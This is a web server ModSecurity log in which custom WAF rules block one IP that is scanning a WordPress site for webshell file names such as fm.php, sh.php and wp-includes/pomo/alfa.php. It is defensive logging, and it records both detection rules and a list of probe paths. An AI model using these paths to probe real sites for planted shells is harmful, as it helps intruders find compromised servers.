[Tue Mar 24 05:33:27.523563 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:34233] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "acGxp_wkUqN4GJAI5oVyfAAAAQ4"]
[Tue Mar 24 05:33:28.739542 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:34238] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "acGxqJdZesutm6dfYM_fPAAAAM8"]
[Tue Mar 24 05:33:29.833091 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:32946] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cok.php"] [unique_id "acGxqZdZesutm6dfYM_fPQAAANE"]
[Tue Mar 24 05:33:30.730809 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:29724] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amphicyon.php"] [unique_id "acGxqqJBKytnG47nuibZQwAAAFg"]
[Tue Mar 24 05:33:31.713231 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:42512] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amphicyon.php"] [unique_id "acGxq5dZesutm6dfYM_fRAAAAMo"]
[Tue Mar 24 05:33:32.529508 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:33678] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amphicyon.php"] [unique_id "acGxrJdZesutm6dfYM_fSAAAAM8"]
[Tue Mar 24 05:33:34.191076 2026] [:error] [pid 3031:tid 3076] [client 172.213.136.15:26809] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amphicyon.php"] [unique_id "acGxrqJBKytnG47nuibZTAAAAEA"]
[Tue Mar 24 05:33:35.459793 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:28421] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla.php"] [unique_id "acGxr6JBKytnG47nuibZUAAAAFg"]
[Tue Mar 24 05:33:36.504763 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:28625] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla.php"] [unique_id "acGxsPwkUqN4GJAI5oVykQAAARY"]
[Tue Mar 24 05:33:37.336828 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:34704] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla.php"] [unique_id "acGxsQyOuILyynfcqfn0QgAAABU"]
[Tue Mar 24 05:33:38.450467 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:26565] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla.php"] [unique_id "acGxsqJBKytnG47nuibZVQAAAE8"]
[Tue Mar 24 05:33:39.331394 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:32765] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acGxs6JBKytnG47nuibZWgAAAEU"]
[Tue Mar 24 05:33:40.648397 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:32941] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acGxtAyOuILyynfcqfn0TAAAAAY"]
[Tue Mar 24 05:33:42.344018 2026] [:error] [pid 3032:tid 3108] [client 172.213.136.15:31056] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acGxtia_-JXXD03-JNzFEAAAAIU"]
[Tue Mar 24 05:33:43.887529 2026] [:error] [pid 3030:tid 3062] [client 172.213.136.15:26812] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acGxtwyOuILyynfcqfn0VAAAAA0"]
[Tue Mar 24 05:33:47.089691 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:23695] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/my1.php"] [unique_id "acGxuya_-JXXD03-JNzFFQAAAJY"]
[Tue Mar 24 05:33:48.347700 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:23714] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/my1.php"] [unique_id "acGxvCa_-JXXD03-JNzFGAAAAII"]
[Tue Mar 24 05:33:49.561859 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:32735] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/my1.php"] [unique_id "acGxvZdZesutm6dfYM_fUwAAANY"]
[Tue Mar 24 05:33:50.954563 2026] [:error] [pid 38767:tid 38793] [client 172.213.136.15:42548] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/my1.php"] [unique_id "acGxvvwkUqN4GJAI5oVyqgAAARc"]
[Tue Mar 24 05:33:52.051894 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:23487] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/990.php"] [unique_id "acGxwJdZesutm6dfYM_fWAAAANE"]
[Tue Mar 24 05:33:53.657288 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:36067] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/990.php"] [unique_id "acGxwQyOuILyynfcqfn0ZQAAABI"]
[Tue Mar 24 05:33:54.927573 2026] [:error] [pid 3030:tid 3053] [client 172.213.136.15:36036] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/990.php"] [unique_id "acGxwgyOuILyynfcqfn0aAAAAAQ"]
[Tue Mar 24 05:33:56.121056 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:24140] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/990.php"] [unique_id "acGxxKJBKytnG47nuibZaQAAAFE"]
[Tue Mar 24 05:33:56.971665 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:24163] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acGxxKJBKytnG47nuibZbQAAAE8"]
[Tue Mar 24 05:33:58.127861 2026] [:error] [pid 3031:tid 3090] [client 172.213.136.15:31079] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acGxxqJBKytnG47nuibZbgAAAE4"]
[Tue Mar 24 05:33:59.923093 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:25218] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acGxxya_-JXXD03-JNzFJQAAAIw"]
[Tue Mar 24 05:34:00.738813 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:25237] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "acGxyCa_-JXXD03-JNzFKQAAAJM"]
[Tue Mar 24 05:34:02.005710 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:25255] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acGxyqJBKytnG47nuibZcQAAAFA"]
[Tue Mar 24 05:34:03.577070 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:28671] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acGxy_wkUqN4GJAI5oVyrwAAAQo"]
[Tue Mar 24 05:34:05.986633 2026] [:error] [pid 3031:tid 3097] [client 172.213.136.15:35309] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acGxzaJBKytnG47nuibZdwAAAFU"]
[Tue Mar 24 05:34:06.980550 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:27287] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acGxzvwkUqN4GJAI5oVytQAAAQA"]
[Tue Mar 24 05:34:08.238480 2026] [:error] [pid 3137:tid 3145] [client 172.213.136.15:26562] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh.php"] [unique_id "acGx0JdZesutm6dfYM_fagAAAMY"]
[Tue Mar 24 05:34:09.145087 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:21602] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh.php"] [unique_id "acGx0ZdZesutm6dfYM_fbQAAAME"]
[Tue Mar 24 05:34:26.509285 2026] [:error] [pid 3030:tid 3066] [client 172.213.136.15:23711] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "acGx4gyOuILyynfcqfn0lAAAABE"]
[Tue Mar 24 05:34:27.688943 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:29758] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "acGx45dZesutm6dfYM_fhwAAAME"]
[Tue Mar 24 05:34:28.524038 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:21620] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "acGx5PwkUqN4GJAI5oVzAwAAAQQ"]
[Tue Mar 24 05:34:30.274779 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:21625] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "acGx5vwkUqN4GJAI5oVzCwAAAQI"]
[Tue Mar 24 05:34:31.078920 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:35308] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acGx55dZesutm6dfYM_fkAAAAMU"]
[Tue Mar 24 05:34:32.637451 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:30064] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acGx6JdZesutm6dfYM_flQAAAMA"]
[Tue Mar 24 05:34:33.517640 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:29752] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acGx6fwkUqN4GJAI5oVzEgAAARY"]
[Tue Mar 24 05:34:34.454618 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:6601] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "acGx6vwkUqN4GJAI5oVzEwAAAQ8"]
[Tue Mar 24 05:34:35.350441 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:27315] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggfi.php"] [unique_id "acGx6_wkUqN4GJAI5oVzFgAAAQ4"]
[Tue Mar 24 05:34:36.368419 2026] [:error] [pid 3032:tid 3108] [client 172.213.136.15:32922] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggfi.php"] [unique_id "acGx7Ca_-JXXD03-JNzFUgAAAIU"]
[Tue Mar 24 05:34:38.142506 2026] [:error] [pid 3031:tid 3096] [client 172.213.136.15:36834] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggfi.php"] [unique_id "acGx7qJBKytnG47nuibZigAAAFQ"]
[Tue Mar 24 05:34:39.199209 2026] [:error] [pid 3030:tid 3064] [client 172.213.136.15:21123] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggfi.php"] [unique_id "acGx7wyOuILyynfcqfn0mQAAAA8"]
[Tue Mar 24 05:34:40.256792 2026] [:error] [pid 3137:tid 3163] [client 172.213.136.15:6885] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa.php"] [unique_id "acGx8JdZesutm6dfYM_fmgAAANg"]
[Tue Mar 24 05:34:41.519205 2026] [:error] [pid 3031:tid 3098] [client 172.213.136.15:21166] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ywwqw.php"] [unique_id "acGx8aJBKytnG47nuibZkQAAAFY"]
[Tue Mar 24 05:34:42.857470 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:42235] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ywwqw.php"] [unique_id "acGx8vwkUqN4GJAI5oVzHwAAAQM"]
[Tue Mar 24 05:34:44.237711 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:23088] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ywwqw.php"] [unique_id "acGx9Ca_-JXXD03-JNzFWwAAAIs"]
[Tue Mar 24 05:34:45.784977 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:35221] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ywwqw.php"] [unique_id "acGx9fwkUqN4GJAI5oVzJgAAARY"]
[Tue Mar 24 05:34:46.625559 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:41025] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unfrnd.php"] [unique_id "acGx9pdZesutm6dfYM_fnwAAAMI"]
[Tue Mar 24 05:34:47.525233 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:35216] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unfrnd.php"] [unique_id "acGx96JBKytnG47nuibZlwAAAEs"]
[Tue Mar 24 05:34:49.149271 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:25846] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unfrnd.php"] [unique_id "acGx-ZdZesutm6dfYM_fowAAAM8"]
[Tue Mar 24 05:34:50.942784 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:37325] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unfrnd.php"] [unique_id "acGx-ia_-JXXD03-JNzFcAAAAJA"]
[Tue Mar 24 05:35:00.504110 2026] [:error] [pid 3031:tid 3086] [client 172.213.136.15:37630] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxxx.php"] [unique_id "acGyBKJBKytnG47nuibZrAAAAEo"]
[Tue Mar 24 05:35:02.193759 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:25153] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxxx.php"] [unique_id "acGyBvwkUqN4GJAI5oVzOAAAARg"]
